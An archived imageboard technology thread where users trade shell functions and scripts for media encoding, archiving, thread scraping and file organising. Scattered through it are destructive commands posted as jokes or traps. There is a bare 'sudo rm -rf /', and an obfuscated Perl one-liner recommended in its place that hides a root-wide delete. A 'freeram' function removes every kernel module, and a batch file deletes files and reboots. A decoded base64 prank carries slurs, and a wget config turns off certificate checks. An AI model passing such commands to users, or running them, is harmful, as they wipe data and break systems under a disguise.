[ / / / / / / / / / / / / / ] [ dir / agatha2 / animu / chemo / general / mde / ss / tingles / xivlg ]

/tech/ - Technology

Winner of the 68rd Attention-Hungry Games
/d/ - Home of Headswap and Detachable Girl Threads

January 2019 - 8chan Transparency Report
Email
Comment *
File
Password (Randomized for file and post deletion; you may also set your own.)
* = required field[▶ Show post options & limits]
Confused? See the FAQ.
Flag
Oekaki
Show oekaki applet
(replaces files and can be used instead)
Options

Allowed file types:jpg, jpeg, gif, png, webm, mp4, pdf
Max filesize is 16 MB.
Max image dimensions are 15000 x 15000.
You may upload 3 per post.


File: fd42ed2ac444ec9⋯.jpg (1.66 MB, 2460x1573, 2460:1573, fd42ed2ac444ec95645e3277e3….jpg)

 No.1003160

Post your shell commands or ideas for shell commands. I'm compiling a list. Here's what I got so far:

https://gitgud.io/chiru.no/useful-bash-stuff

gimpresize(){ input="$1"; res="$2"; output="$3"; gimp -ib "(let* ((image (car (gimp-file-load RUN-INTERACTIVE \"$input\" \"\")))(drawable (car (gimp-image-get-active-layer image))))(gimp-image-scale-full image $res INTERPOLATION-LOHALO)(gimp-file-save RUN-NONINTERACTIVE image drawable \"$output\" \"\"))(gimp-quit 0)";}
# gimpresize input.png 1920\ 1080 output.png

imagemagickresize(){ input="$1"; res="$2"; output="$3"; convert $input -colorspace RGB +sigmoidal-contrast 12.09375 -filter Lanczossharp -distort resize $res -sigmoidal-contrast 12.09375 -colorspace sRGB $output;}
# imagemagickresize input.png 1920x1080 output.png

vidtogif(){ input="$1"; res="$2"; colors="$3"; output="$4"; ffmpeg -i $input -vf palettegen /tmp/palette.png && ffmpeg -i $input -i /tmp/palette.png -lavfi paletteuse $output && gifsicle -b -O3 --resize-width $res --colors $colors -i $output;}
# vidtogif input.webm 640 200 output.gif

vidtowebm(){ input="$1"; videoquality="$2"; audioquality="$3"; output="$4"; ffmpeg -i $input -vcodec libvpx-vp9 -b:v 0 -crf $videoquality -c:a libopus -b:a $audioquality -g 500 -threads 8 $output;}
# vidtowebm input.mp4 40 192K output.webm

vidtomp4(){ input="$1"; videoquality="$2"; audioquality="$3"; output="$4"; ffmpeg -i $input -c:v libx264 -crf $videoquality -profile high -level 5.1 -preset veryslow -pix_fmt yuv420p -c:a aac -b:a $audioquality $output;}
# vidtomp4 input.mkv 20 192K output.mp4

7zipmax(){ archive="$1"; directory="$2"; 7z a -t7z -mx9 -m0=lzma -mfb=273 -md=1024m -ms=on -mqs=on -myx=9 -mmc=200 -mlc=8 $archive $directory;}
# 7zipmax archive.7z directory/

tarmax(){ archive="$1"; directory="$2"; XZ_OPT="--lzma1=preset=9e,dict=1024MB,nice=273,depth=200,lc=4" tar --lzma -cf $archive $directory;}
# tarmax archive.tar.lzma directory/

screenshot(){ scrot -e "meh \$f || sxiv \$f || feh \$f || nomacs \$f && read -erp Upload\? -n1 yn && [ \\\$yn == y ] && curl -F upload=@\$f https://chiru.no";}
# screenshot

waifu2xmax(){ input="$1"; output="$2"; quality=$(identify -verbose $input | grep -oP "(?<=Quality: ).*"); noiselevel=3; [ $quality -gt 95 ] && noiselevel=2; [ $quality -gt 98 ] && noiselevel=1; parameters="-m noise_scale --noise_level $noiselevel --scale_ratio"; [ -z $quality ] && parameters="-m scale --scale_ratio"; iteration=2; while waifu2x-converter-cpp -i $input --force-OpenCL $parameters $iteration -o $output; do ((iteration++)); done;}
# waifu2xmax input.png output.png

mouseaccelerationdisable() { for i in {0..99}; do xinput set-prop $i "libinput Accel Profile Enabled" 0 1; done &> /dev/null;}
# mouseaccelerationdisable

 No.1003201

Here are my scripts. Made for POSIX sh with rare exceptions like find -print0.

https://repo.or.cz/q3cpma-shell-scripts.git


 No.1003206

why'd you have them as functions instead of aliases in a .bashrc?


 No.1003209

!#/bin/sh

javac /home/random/javafile.class

java javafile

Now that’s how you compile a Java file, mommas dearest


 No.1003236

>>1003206

Try to do an alias that does


myfunc()
{
echo foo "$@" bar
}


 No.1003252

>>1003160

Nice! Thanks :)


 No.1003272

>>1003236

ok but in that example it doesn't seem any less convenient than just running the regular command any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AgICAgICBpZiBbICR7dW5kZXJ3b3JsZFskaV19IC1uZSAwIF07ICAgICAgICAgdGhlbiAgICAgICAgICAgICBwcmludGYgIiViIiAiJHt1bmRlcndvcmxkX21lc3NhZ2VbJGldfSI7ICAgICAgICAgICAgIF9hbGFybSAke3VuZGVyd29ybGRbJGldfSAke3VuZGVyd29ybGRfdGVtcG9bJGldfTsgICAgICAgICBlbHNlICAgICAgICAgICAgIHNsZWVwIDAuJHt1bmRlcndvcmxkX3RlbXBvWyRpXX07ICAgICAgICAgZmk7ICAgICAgICAgIHNsZWVwIDAuMCR7dW5kZXJ3b3JsZF90ZW1wb1skaV19OyAgICAgZG9uZSBkb25lIAo=" | base64 -d)

yep that's a one liner


 No.1003340

sudo rm -rf /


 No.1003389

>>1003340

>using rm -rf /

>not using

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'


 No.1003406

>>1003340

why would you want to unironically triforce?


 No.1003438

function _copy () { cat > /tmp/paste; }
function _paste () { cat /tmp/paste; }
function calc() { awk "BEGIN{print $@}"; }

# show man page for word under/right before cursor
# upon exiting man, the line is in the state you left it in
function man_on_word {
TMP_LN=$READLINE_LINE
TMP_POS=$READLINE_POINT
# if in between words, move position to the first one
while [ $TMP_POS -gt 0 ] && [ "${TMP_LN:TMP_POS:1}" = " " ]; do
true $((--TMP_POS))
done
while [ $TMP_POS -gt 0 ] && [ "${TMP_LN:TMP_POS:1}" != " " ]
do true $((--TMP_POS))
done
if [ 0 -ne $TMP_POS ]; then true $((++TMP_POS));fi
TMP_WORD="${READLINE_LINE:$TMP_POS}"
TMP_WORD="${TMP_WORD%% *}"
man "$TMP_WORD"
}
bind -x '"\C-k":man_on_word'
bind -m vi-command -x '"K":man_on_word' # for set -o vi


# ~/bin/ffconv:
#!/bin/bash
# use like: find /foo/bar -name "*.webm" -print0 | xargs -P<Ncores> -0 -I{} ffconv -e mp3 -o /the/output/dir "{}" -q:a 7
# the arguments after "{}" are passed directly to ffmpeg
# has to be separate file, because of xargs
function runff() {
echo @@@@@@@@@@@@@@@@@@@@@@@@@@
echo -- ffmpeg "$@"
echo @@@@@@@@@@@@@@@@@@@@@@@@@@
ffmpeg -hide_banner "$@"
}

tag=0
ext=mp3
dir='.'

while [ $# -gt 0 ]; do case "$1" in
(-e) ext="$2"; shift 2;;
(-o) dir="$2"; shift 2;;
(-t) tag=1; shift 1;;
(*) break;;
esac;done
if [ $# -lt 1 ]; then
echo "usage ${0##*/} [-e <ext>] [-o <out_dir>] [-t] <file> [<ffmpeg_arg1> [<ffmpeg_arg2>, ..] ]"
exit 1
fi
file=$1
shift

if [ "$tag" = 1 ]; then
t=$(grep -o -P '$(\d+)' <<< "$file")
id3v2 -T "$t" "$file"
fi

runff -i "$file" "$@" "$dir/${file%.*}.$ext"


 No.1003448

>>1003337

Rate my WebM script:

#!/usr/bin/env sh

trap finish 1 2 14 15

finish ()
{
command rm -f -- "${PASSLOG}-0.log"
unset encode error finish help \
INPUT LOSSLESS NAME OPTARG OUTPUT OVERWRITE PASSLOG QUALITY THREADS TMP0 TMP1
exit $1
}

help ()
{
command cat << EOF
USAGE: $NAME [OPTION]... INPUT [OUTPUT]
Encode a video with VP9 codec using FFmpeg.

OPTIONS:
-h : display this help and exit
-q : set the encoding quality
between 0 and 63, 0 is lossless, default is 30
-t : set the number of threads to use
-f : do not prompt before overwriting
EOF
finish
}

error ()
{
printf "%s: %s -- '%s'\n" "$NAME" "$1" "$OPTARG" >&2
finish 1
}

encode ()
{
printf 'Pass #%d...\n' $1
case "$1" in
1) TMP0='-y'
TMP1='/dev/null'
;;
2) TMP0="$OVERWRITE"
TMP1="$OUTPUT"
;;
esac
command ffmpeg -v error -stats $TMP0 \
-i "$INPUT" -map 0:v:0 -map_chapters -1 -map_metadata -1 \
-sws_flags lanczos+accurate_rnd+full_chroma_int+bitexact \
-c:v libvpx-vp9 -b:v 0 -auto-alt-ref 1 -lag-in-frames 25 \
-tile-columns 0 -frame-parallel 0 -aq-mode none -row-mt 1 \
-cpu-used 0 -deadline best \
-threads $THREADS -crf $QUALITY -lossless $LOSSLESS \
-pass $1 -passlogfile "$PASSLOG" -f ivf -bitexact -- "$TMP1"
return $?
}

NAME="`basename -- "$0"`"
THREADS=`grep -c ^processor /proc/cpuinfo`
QUALITY=30
LOSSLESS=0

while getopts hfq:t: TMP0; do
case "$TMP0" in
h) help ;;
f) OVERWRITE='-y' ;;
q) case "$OPTARG" in
0) QUALITY=0
LOSSLESS=1
;;
[1-9]|[1-5][0-9]|6[0-3])
QUALITY=$OPTARG
;;
*) error 'incorrect encoding quality' ;;
esac
;;
t) case "$OPTARG" in
[1-9]|[1-9][0-9])
if [ $OPTARG -gt $THREADS ]; then
error 'not enough CPU cores'
else
THREADS=$OPTARG
fi
;;
*) error 'incorrect number of threads' ;;
esac
;;
esac
done
shift $((OPTIND-1))
unset TMP0 OPTARG

if [ -z "$1" ]; then
help
else
INPUT="$1"
fi
if [ -z "$2" ]; then
OUTPUT="${INPUT%.*}.ivf"
else
OUTPUT="$2"
fi
PASSLOG="`basename -- "$OUTPUT"`"
PASSLOG="${XDG_CACHE_HOME:-/tmp}/${PASSLOG%.*}"

encode 1 && encode 2

finish $?


 No.1003506

File: cb7d3429aa0e290⋯.gif (Spoiler Image, 289.78 KB, 180x132, 15:11, 1531263452227-b.gif)

@ECHO OFF

rem quick delete fetish porn folder

del c:\USERS\anon\progra~1\text\library\fap

del c:\panic.bat

shutdown -r


 No.1003601

I hacked this together about a year ago, and it somehow works


#!/bin/bash

mp3dir=""

containsElement () {
local e match="$1"
shift
for e; do [[ "$e" == "$match" ]] && return 0; done
return 1
}

mydir="$(pwd)"
for userdir in "$@"
do
echo "$userdir"
musicdir=""
if [[ "$userdir" = /* ]]; then
musicdir="$userdir"
else
musicdir="${mydir}/${userdir}"
fi

unset songs
declare -a songs
if [[ -d "${musicdir}" ]]; then
while read -r -d $'\0'; do
songs+=("$REPLY")
done < <(find "${musicdir}" -iname "*.flac" -printf "%P\0")
elif [[ -f "${musicdir}" ]]; then
songs[0]="$(basename "${musicdir}")"
musicdir="$(dirname "${musicdir}")"
echo "${songs[0]}"
fi

declare mp3folder
if [[ ${#songs[@]} -eq 0 ]]; then
echo "no flacs found, skipping folder..."
continue
elif [[ ${#songs[@]} -eq 1 ]]; then
mp3folder="$mp3dir"
song=$(basename "${songs[0]}")
songoutput="${song/%.flac/.opus}"
/usr/bin/ffmpeg -i "${musicdir}/${songs[0]}" -acodec libopus -b:a 128K -vbr on -compression_level 10 "${mp3folder}/${songoutput}"
ln -s "${mp3folder}/${songoutput}" "/var/www/music/"
elif [[ ${#songs[@]} -gt 1 ]]; then
foldername="$(basename "$musicdir")"
disks=()
for song in "${songs[@]}"; do
diskname="$(dirname "${song}")"
if [[ "$diskname" == "." ]]; then
continue
fi
containsElement "$diskname" "${disks[@]}"
if [[ $? -ne 0 ]]; then
disks+=("$diskname")
fi
done

mkdir "${mp3dir}/${foldername}"
for disk in "${disks[@]}"; do
mkdir "${mp3dir}/${foldername}/${disk}"
done

parallel --jobs=-1 -q /usr/bin/ffmpeg -i "${musicdir}/{}" -acodec libopus -b:a 128K -vbr on -compression_level 10 "${mp3dir}/${foldername}/{.}.opus" ::: "${songs[@]}"
pushd "$mp3dir"
zip -r "${foldername}.zip" "${foldername}"
popd
ln -s "${mp3dir}/${foldername}.zip" "/var/www/music/"
fi
done


 No.1004211

>>1003337

Surprisingly benign, was expecting 'rm -rf ~ 2> /dev/null &'


 No.1004267

I haven't posted here in awhile but here's a improved version of my external viewer script for w3m. depends on guile, mupdf, mpv, & wget. I keep meaning to write a downloader in guile as a replacement for wget but haven't gotten around to it yet. regardless it's quite robust and gets the job done.


#!/usr/local/bin/guile -s
!#
(use-modules (ice-9 regex)) ; for match-string and regexp-substitute

(define (run-temporary url . proc)
; passes each file in a directory as a operand to a function.
(define (file-do proc path)
(define dir (opendir path))
(do ((entry (readdir dir) (readdir dir)))
((eof-object? entry))
(if (not (or (equal? entry ".") (equal? entry "..")))
(proc entry)))
(closedir dir))
; deletes all temporary files, the temporary directory, and then exits.
(define (safe-close path)
(file-do delete-file path)
(rmdir path)
(exit))
; creates a temporary directory in a race condition free manner.
(define (mkdtemp path)
(catch 'system-error
(lambda () (mkdir path))
(lambda return
(let ((errno (system-error-errno return)))
(if (= errno EEXIST) (mkdtemp (tmpnam))))))
path)
(define path (mkdtemp (tmpnam)))
; SIGHUP, SIGINT, & SIGQUIT are not needed due to being daemonized.
(sigaction SIGTERM (lambda (x) (safe-close path)) 0)
(chdir path)
; ftp is NOT PORTABLE replace with module gnutls and networking stack?
; or otherwise just replace with wget.
(system* "wget" url)
(file-do (lambda (x) (apply system* (append proc (list x)))) path)
(safe-close path))

(define (daemonize)
; double fork to prevent zombies on system-v derivatives.
(if (not (= (primitive-fork) 0)) (primitive-_exit 0) (setsid))
(if (not (= (primitive-fork) 0)) (primitive-_exit 0))
; close old stdin, stdout, & stderr
(close-fdes 0)
(close-fdes 1)
(close-fdes 2)
; redirect stdin, stdout, & stderr to /dev/null. dup->fdes isn't strictly
; necessary here because open automatically uses the lowest fde and we just
; closed the lowest three, but it makes things a bit more clear, and it's a
; good habit to have in case of threading.
(dup->fdes (open "/dev/null" O_RDONLY) 0)
(dup->fdes (open "/dev/null" O_WRONLY) 1)
(dup->fdes (open "/dev/null" O_WRONLY) 2))

(daemonize)
(let ((still ".png|.jpg|.jpeg|.bmp|.pdf|.epub")
(loops ".gif|.webm")
(gallery "imgur.com/gallery/")
(album "imgur.com/a/")
(imgur "imgur")
(url (cadr (command-line))))

(cond ((string-match still url) (run-temporary url "mupdf"))
((string-match loops url) (run-temporary url "mpv" "--loop=inf"))
((string-match gallery url) (run-temporary
(regexp-substitute #f (string-match "gallery" url) 'pre "a" 'post "/zip") "mupdf"))
((string-match album url) (run-temporary (string-append url "/zip") "mupdf"))
((string-match imgur url) (run-temporary (string-append url ".jpg") "mupdf"))
(else (system* "mpv" "--ytdl-format=webm+bestaudio/720p/720p60" "--slang=en" url))))

And here's the script I use for screenshots, depends on ffmpeg and guile. once again robust and gets the job done, bar having to change screen size for different platforms.


#!/usr/local/bin/guile -s
!#
(define (screen-file return)
(define (screen-file-iter number)
(define file-name (string-append (passwd:dir (getpwuid (getuid))) "/screen" (number->string number) ".png"))
(catch 'system-error
(lambda () (open file-name (logior O_CREAT O_EXCL)))
(lambda response
(if (= (system-error-errno response) EEXIST)
(screen-file-iter (+ number 1))
(begin (display response) (exit)))))
(return file-name))
(screen-file-iter 1))

(system* "ffmpeg" "-loglevel" "-8" "-f" "x11grab" "-video_size" "1366x768" "-i" ":0" "-vframes" "1" "-y" (call/cc screen-file))

I'm also considering rewriting my podcatcher shell script to use guile's XML parser and adding support for youtube channel RSS feeds so I can subscribe to a couple gardening channels I watch instead of manually visiting the RSS page every few weeks. I'll post it here when it's done if there is interest.


 No.1004284

requesting a good wget/curl script to dl files from threads


 No.1004299

>>1004284

That really isn't a hard thing to do.

I think i have one somewhere but basically all you need to do is

>curl thread link

>regex the file link which is typically media.8ch.net/file_store/[sha256][ext]

>wrap it all in a for loop and wget from that


 No.1004300

>>1004284

Not exclusively for files, but I use this to archive the whole thread:

wget -bEHkprl 'inf' -So 'wget.log' \
--accept-regex="^https?://(media\.|softserve\.)?8ch\.net/((${B}/(res/${T}\.html|threads\.json)|main\.js)|(${B}/(thumb|src)|file_store(/thumb)?|js|static|stylesheets)/.*)$" \
--warc-cdx --warc-file="8ch.${B}.${T}" -nH -P "8ch.${B}.${T}" -- "https://8ch.net/${B}/res/${T}.html"

Where ${B} is the board directory (e.g. "tech") and ${T} is the thread number (e.g. "1003160").

And my wgetrc looks like this:

check_certificate   = off
ignore_length = on
inet4_only = on
restrict_file_names = nocontrol
retry_connrefused = on
robots = off
timestamping = on
tries = inf
trust_server_names = on
user_agent = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36


 No.1004305

>>1004299

>>1004300

Thanks, Anon.


 No.1004309

>>1004305

If you wanted a robust way to do this in the future which works across imageboards you could pretty easily use the common API used by all imageboards to get the json data then parse and download from there.


 No.1004573

This is a script I've used for quite a while to organize the files in my download directory by their mime type.


#!/bin/bash

die () {
echo -e "\033[0;31m$*\033[m" >&2
exit 1
}

DIR=${1:-.}

if [ ! -d "$DIR" ]; then
die "Not a valid dir you dumbutt!"
fi

for file in "$DIR"/* ; do
if [ -f "$file" ]; then
mime=$(file -ib "$file" | cut -f1 -d ';')
if [ ! -d "$DIR/$mime" ]; then
mkdir -p "$DIR/$mime" || die "Couldn't make the directory $mime. Check if it already exists!"
fi
mv "$file" "$DIR/$mime" || die "Moving the file $file to directory $mime failed!"
elif [ -d "$file" ]; then
echo "Skipping a directory $file"
fi
done


 No.1004584

>>1004573


die () {
echo -e "\033[0;31m$*\033[m" >&2
exit 1
}

Don't do that, use tput(1). If you redirect stderr to a file, it'll be stupid.


if [ ! -d "$DIR" ]; then
die "Not a valid dir you dumbutt!"
fi

Should use


[ ! -d "$DIR" ] && die message

for short stuff like this


-mime=$(file -ib "$file" | cut -f1 -d ';')
+mime=$(file -b --mime-type -- "$file")

Don't forget to use -- to avoid shit with filenames starting with a dash. At your current level, I suggest you use shellcheck.


 No.1004590

>>1003236

>Try to do an alias that does

>myfunc()

>{

> echo foo "$@" bar

>}

Yeah, I do it all the time, why? not POSIX?

>>1003337

decodes to:


NOTE_B0=31; NOTE_C1=33; NOTE_CS1=35; NOTE_D1=37; NOTE_DS1=39; NOTE_E1=41; NOTE_F1=44; NOTE_FS1=46; NOTE_G1=49; NOTE_GS1=52; NOTE_A1=55; NOTE_AS1=58; NOTE_B1=62; NOTE_C2=65; NOTE_CS2=69; NOTE_D2=73; NOTE_DS2=78; NOTE_E2=82; NOTE_F2=87; NOTE_FS2=93; NOTE_G2=98; NOTE_GS2=104; NOTE_A2=110; NOTE_AS2=117; NOTE_B2=123; NOTE_C3=131; NOTE_CS3=139; NOTE_D3=147; NOTE_DS3=156; NOTE_E3=165; NOTE_F3=175; NOTE_FS3=185; NOTE_G3=196; NOTE_GS3=208; NOTE_A3=220; NOTE_AS3=233; NOTE_B3=247; NOTE_C4=262; NOTE_CS4=277; NOTE_D4=294; NOTE_DS4=311; NOTE_E4=330; NOTE_F4=349; NOTE_FS4=370; NOTE_G4=392; NOTE_GS4=415; NOTE_A4=440; NOTE_AS4=466; NOTE_B4=494; NOTE_C5=523; NOTE_CS5=554; NOTE_D5=587; NOTE_DS5=622; NOTE_E5=659; NOTE_F5=698; NOTE_FS5=740; NOTE_G5=784; NOTE_GS5=831; NOTE_A5=880; NOTE_AS5=932; NOTE_B5=988; NOTE_C6=1047; NOTE_CS6=1109; NOTE_D6=1175; NOTE_DS6=1245; NOTE_E6=1319; NOTE_F6=1397; NOTE_FS6=1480; NOTE_G6=1568; NOTE_GS6=1661; NOTE_A6=1760; NOTE_AS6=1865; NOTE_B6=1976; NOTE_C7=2093; NOTE_CS7=2217; NOTE_D7=2349; NOTE_DS7=2489; NOTE_E7=2637; NOTE_F7=2794; NOTE_FS7=2960; NOTE_G7=3136; NOTE_GS7=3322; NOTE_A7=3520; NOTE_AS7=3729; NOTE_B7=3951; NOTE_C8=4186; NOTE_CS8=4435; NOTE_D8=4699; NOTE_DS8=4978;
underworld=( $NOTE_C4 $NOTE_C5 $NOTE_A3 $NOTE_A4 $NOTE_AS3 $NOTE_AS4 0 0 $NOTE_C4 $NOTE_C5 $NOTE_A3 $NOTE_A4 $NOTE_AS3 $NOTE_AS4 0 0 $NOTE_F3 $NOTE_F4 $NOTE_D3 $NOTE_D4 $NOTE_DS3 $NOTE_DS4 0 0 $NOTE_F3 $NOTE_F4 $NOTE_D3 $NOTE_D4 $NOTE_DS3 $NOTE_DS4 0 0 $NOTE_DS4 $NOTE_CS4 $NOTE_D4 $NOTE_CS4 $NOTE_DS4 $NOTE_DS4 $NOTE_GS3 $NOTE_G3 $NOTE_CS4 $NOTE_C4 $NOTE_FS4 $NOTE_F4 $NOTE_E3 $NOTE_AS4 $NOTE_A4 $NOTE_GS4 $NOTE_DS4 $NOTE_B3 $NOTE_AS3 $NOTE_A3 $NOTE_GS3 0 0 0 );
underworld_tempo=( 12 12 12 12 12 12 6 3 12 12 12 12 12 12 6 3 12 12 12 12 12 12 6 3 12 12 12 12 12 12 6 6 18 18 18 6 6 6 6 6 6 18 18 18 18 18 18 10 10 10 10 10 10 3 3 3 );
underworld_message=( "O" "P " "is " "a " "faggot" ".\n" "" "" "O" "P " "is " "a " "faggot" ".\n" "" "" "A " "big " "fucking " "faggot" ".\n" "" "" "" "A " "big " "fucking " "faggot" ".\n" "" "" "" "O" "P" " i" "s " "a " "f" "a" "g" "g" "o" "t.\n" "O" "P" " i" "s " "a " "f" "a" "g" "g" "ot.\n" );
_alarm() { { ( \speaker-test --frequency $1 --test sine )& pid=$!; sleep 0.${2}s; disown $pid; kill -9 $pid; } &> /dev/null; }; while true; do for((i=0;i<${#underworld[@]};i++)); do if [ ${underworld[$i]} -ne 0 ]; then printf "%b" "${underworld_message[$i]}"; _alarm ${underworld[$i]} ${underworld_tempo[$i]}; else sleep 0.${underworld_tempo[$i]}; fi; sleep 0.0${underworld_tempo[$i]}; done done

A simple repeating countdown timer to beep every $1 seconds:

alias beepe='function _beepe(){ watch -pbn $1 return 1; }; _beepe'
put it in .bashrc or equivalent
Usage:
beepe 120

will beep every 2 minutes, since "return 1" causes the watch command to see a non-zero exit precisely (-p) every $1 seconds (-n $1) and perform the beep (-b)

Adjust to run in background, kill running jobs, etc as required.


 No.1004601

>>1004590

Show me such an alias.


 No.1004612

>>1004601

>Show me such an alias.

>>1004590


 No.1004693

>>1004601


alias foofunc='function _foofunc(){ echo foo "$@" bar; }; _foofunc'

$foofunc such an alias
foo such an alias bar


 No.1004708

>>1003337

not sure why you don't base64 the audio through aplay instead of speaker-test, or even use the -w option with speaker-test to play a wav file from stdin.


 No.1004805

>>1004612

>>1004693

What's the point of an ALIAS in this case? You're not aliasing a name to anything, you're just recreating a function everytime for no reason. God, you're retarded.


 No.1004867

>>1004300

Using that .wgetrc reports an incompatibility with the timestamping setting: "WARC output does not work with timestamping, timestamping will be disabled."

I put it verbatim (including the .wgetrc settings) into a script


#!/usr/bin/env bash
#save as thread-archive and chmod u+x thread-archive
wget -bEHkprl 'inf' -So 'wget.log' \
--accept-regex="^https?://(media\.|softserve\.)?8ch\.net/((${1}/(res/${2}\.html|threads\.json)|main\.js)|(${1}/(thumb|src)|file_store(/thumb)?|js|static|stylesheets)/.*)$" \
--warc-cdx --warc-file="8ch.${1}.${2}" -nH -P "8ch.${1}.${2}" \
-e 'check_certificate = off' \
-e 'ignore_length = on' \
-e 'inet4_only = on' \
-e 'restrict_file_names = nocontrol' \
-e 'retry_connrefused = on' \
-e 'robots = off' \
-e 'timestamping = on' \
-e 'tries = inf' \
-e 'trust_server_names = on' \
-e 'user_agent = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36' \
-- "https://8ch.net/${1}/res/${2}.html"

Add checks to suit. I did the above basics to test it. Works great btw. Thanks anon.


 No.1004869

>>1004805

> God, you're retarded.

>I don't understand why you did it, so you're retarded.

OK.

You can add unset if it makes you feel better. With an alias you can only use parameters at the end of the command, not within it. So defining a function is one way of getting around this, another is it invoke a subshell.

...ah fuck it, let me search for a source to spoonfeed you since you won't believe you're retarded anyway...

That didn't take long, here you go:

https://stackoverflow.com/questions/7131670/make-a-bash-alias-that-takes-a-parameter

See the answer entitled "TL;DR: Do this instead"

>Clarification

>bash aliases do accept arguments, but only at the end:

>If you like circumventing limitations and doing what others say is impossible,...

that sounds like me, but certainly not you faggot.

> here's the recipe. Just don't blame me if your hair gets frazzled and your face ends up covered in soot mad-scientist-style.

>The workaround is to pass the arguments that alias accepts only at the end to a wrapper that will insert them in the middle and then execute your command.

>

>Solution 1

>If you're really against using a function per se, you can use:

>$ alias wrap_args='f(){ echo before "$@" after; unset -f f; }; f'

>$ wrap_args x y z

>before x y z after

>

>You can replace $@ with $1 if you only want the first argument.

>

>Explanation 1

>

>This creates a temporary function f, which is passed the arguments (note that f is called at the very end). The unset -f removes the function definition as the alias is executed so it doesn't hang around afterwards.

>Solution 2

>You can also use a subshell:


 No.1004884

>>1004869

There's a misunderstanding. I meant why define an alias and not just the function itself in your config file?


 No.1004898

>>1004884

>never mentioned config

>it's about config

sure it is. lel.

we both know it doesn't need to be aliased if it is a function in a config file. If it is, it is more for a particular users convenience.

e.g. >>1004590 would see all such defined alias returned with

$alias

which may be preferable to confine such definitions to the alias set, rather than wading through the output of

$declare -F

for functions which often contains a much longer list.


 No.1005027

>>1004309

Enlighten me. I was always looking for a better way than this messy regexp.

>>1004867

>WARC output does not work with timestamping, timestamping will be disabled.

Ah, right, forgot about that. Thanks for reminding.

By the way, you don’t have to specify the .wgetrc options via the -e flag, unless you want to.

All of them—with the exception for the robots option—have a corresponding flag.

> “check_certificate = off” is --no-check-certificate

> “ignore_length = on” is --ignore-length

> “inte4_only = on” is -4

> “restrict_file_names = nocontrol” is --restrict-file-names=nocontrol

> “retry_connrefused = on” is --retry-connrefused

> “timestamping = on” is -N

> “tries = inf” is -t inf

> “trust_server_names = on” is --trust-server-names


 No.1005064

>>1005027

>-e flag or corresponding flag

Thank you anon, I was doing a quick test so used the -e than looking up each option.

>>1004309

> use the common API used by all imageboards to get the json data then parse and download from there.

>>1005027

>Enlighten me. I was always looking for a better way than this messy regexp.

I think he means the json equivalent for every thread, including this one for example, change the .html to .json

https://8ch.net/tech/res/1003160.json

It is easier to parse. for specific content to grab.


 No.1005066


function mkcd() {
mkdir -p $*
cd $*
}


 No.1005070

>>1005064

>https://8ch.net/tech/res/1003160.json

As I thought. Well, it might be easier to parse but you'll also have to turn it into something human-readable.


 No.1005153

>>1005027

This is exceedingly unlikely to work on account of my compiler being broken and me using a bunch of things I haven't used before, but this is more or less what I was thinking. I'll try to fix my compiler and get gnutls working on my machine so that I can test it and fix it. Might take a second, turns out openbsd, guile, and gnutls don't play very nice together.


(use-modules (json)) ;; json-string->scm ;; https://github.com/aconchillo/guile-json
(use-modules (web uri)) ;; uri parse functions
(use-modules (web client)) ;; http-request

(define-syntax download-images
(syntax-rules ()
((images-download scheme host path response)
(map
(lambda (post)
(call-with-output-file (string-append (assoc-ref post "tis") "." (assoc-ref post "ext))
(lambda (file-port)
(display
(http-request
(build-uri
scheme
#:host host
#:path path)) file-port)))
(assoc-ref response "posts")))))

(let* ((uri (string->uri (cadr command-line)))
(host (uri-host uri))
(path (split-and-decode-uri-path uri))
(board (car path))
(thread (string-split (car (last-pair path)) #\.))
(api-path
(cons
(list-head path (- (length path) 1))
(string-append thread ".json")))
(api-uri
(build-uri
(uri-scheme uri)
#:host host
#:path (encode-and-join-uri-path api-path)))
(response (json-string->scm (http-request api-uri)))
(mkdir thread)
(chdir thread)
(cond ((equal? host "www.4chan.org")
(download-images
(uri-scheme uri)
"i.4cdn.org"
(string-append "/" board "/" (assoc-ref post "tis") "." (assoc-ref post "ext"))
response))
((equal? host "www.8ch.net")
(download-images
(uri-scheme uri)
"media.8ch.net"
(string-append (assoc-ref post "tis") "." (assoc-ref post "ext"))
response))
(else ;; vichan default
(download-images
(uri-scheme uri)
host
(string-append "/" board "/src/" (assoc-ref post "tis") "." (assoc-ref post "ext"))
response))))


 No.1005178

>that pic

what did I miss?


 No.1005205

>>1005153

I somehow read this as a scripting thread and not a shell thread, sorry for all the irrelevant posts. Anyway this is actually the third day I've been attempting to get gnutls to compile with the guile extentions to no avail, I'm considering looking into another implementation as OBSD and GNU just seem as though they weren't meant to mix to such a degree. I'll consider making another thread for scheme and post the finished thread file downloader there.


 No.1005225

>>1003209

And I guess compiling the .class file again will turn it from bytecode into a real binary...


 No.1005271

>>1003160

I'd just say fuck it, and alias every linux command to their windows equivalent and watch people lose their fucking minds.


 No.1005273

freeram() { lsmod | awk "{print \$1}" | sudo xargs -I{} rmmod {} ; sudo /etc/init.d/udev restart ; sudo sysctl vm.drop_caches=3 }
# freeram


 No.1005303

>>1003160

https://ghostbin.com/paste/bvz4y

There's probably better ways to write this script (or just sort my data) but it does what I need.

>main music folder

>music folder I want to sync with my phone (don't want full library on there)

>copying files wastes disk space

>syncthing doesn't like sym links

>just wrote a script to find duplicate files without a hard link and create one

>now have 2 folders on desktop using no extra disk space

>hard link also means a tag update will update for both desktop folders and all synced devices


 No.1005304

>>1004590

>>1004211

>>1003448

>>1004708

i never made this line, i stole it from someone on /tech/


 No.1005372

>>1005304

NO! HE'S LYING, DON'T LISTEN TO HIM!


 No.1005409

i'm using this :

https://github.com/ekisu/mpv-webm

to slice clips to vp9 webm

There is an option to export as "Raw" but it results to big as fuck files. (1GB for a 10 second clip..) What do I need to modify to make it slice the clip without any re-encoding ?

Or do you know an alternative for fast slicing clip with mpv ?


 No.1005412

>>1005409

For example this :

https://github.com/ozmartian/vidcutter

cut the video without any re-encoding

But it would be much better being able to do it with the previous script.


 No.1005414

>>1005409


ffmpeg -i input.webm -ss 00:04:00 -t 180 -codec copy clip.webm

will copy from 4 minutes for 180 seconds, i.e. clip.webm is 3 minute long clip, which starts at 4 minutes into the original input.webm

you can use -ss before the input for an approximate fast search through longer videos (like a 2hr movie) then -ss after also so it picks up a keyframe - otherwise it will look like shit, or be out of sync.

